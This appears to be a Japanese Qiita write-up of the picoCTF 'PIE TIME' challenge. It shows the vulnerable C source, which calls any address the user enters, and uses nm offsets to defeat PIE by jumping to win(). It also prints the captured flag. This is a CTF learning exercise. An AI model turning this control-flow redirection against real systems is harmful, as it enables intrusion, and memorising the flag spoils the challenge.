0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF Writeup: PIE TIME

PIEを知ろう問題

  • ジャンル: Binary Exploitation
  • 難易度: Easy

Writeup

問題文

Can you try to get the flag? Beware we have PIE!
Connect to the program with netcat:
$ nc rescued-float.picoctf.net 57566
flagとれるかな?PIEだからね。netcatでプログラムに接続してね。

PIEってなんやねん。
Position Independent Executableというらしく、実行するごとにバイナリがロードされるメモリ番地が変わる仕組みとのこと。

$ nc rescued-float.picoctf.net 58731
Address of main: 0x5d568584b33d
Enter the address to jump to, ex => 0x12345: ^C
$ nc rescued-float.picoctf.net 58731
Address of main: 0x601e1d74233d
Enter the address to jump to, ex => 0x12345: ^C
$ nc rescued-float.picoctf.net 58731
Address of main: 0x5a8e65e4a33d
Enter the address to jump to, ex => 0x12345: ^C

確かに毎回mainのアドレスが変わっていますね。

次に問題文にあるソースコードファイルをダウンロードして、中身を確認します。

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

win関数を呼び出せればflag.txtが読まれるようです。

main関数では、ユーザにアドレス番地を入力させてval変数に格納します。
そして、(void (*)())valval変数に入っているアドレスを関数として呼び出せる形へ変換してfoo関数と定義しています。最後にfoo関数(ユーザーが入力したメモリ番地の関数)を実行する流れです。

つまり、win関数のメモリ番地をユーザー入力として与えればよさそうですね。

main関数のメモリ番地は毎回変わってしまいますが、main関数とwin関数の相対的な位置関係は変わらないです。

バイナリファイルをダウンロードして、メモリ番地を調べてみます。
nmコマンドが使えます。

$ nm /tmp/vuln | grep main
                 U __libc_start_main@@GLIBC_2.2.5
000000000000133d T main
$ nm /tmp/vuln | grep win
00000000000012a7 T win

win関数が0x12a7
main関数が0x133d
にあります。

引き算して差分を計算します。

$ python3 -c 'print(hex(0x133d - 0x12a7))'
0x96

win関数はmain関数の0x96分上に位置していることがわかりました。

では、もう一度ncで接続します。

$ nc rescued-float.picoctf.net 57706
Address of main: 0x63e75664233d
Enter the address to jump to, ex => 0x12345:

main関数のメモリ番地は0x63e75664233d
引き算します。

$ python3 -c 'print(hex(0x63e75664233d - 0x96))'
0x63e7566422a7

では、0x63e7566422a7を入力します。

$ nc rescued-float.picoctf.net 57706
Address of main: 0x63e75664233d
Enter the address to jump to, ex => 0x12345: 0x63e7566422a7
Your input: 63e7566422a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_f8845f06}

flagが取れました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?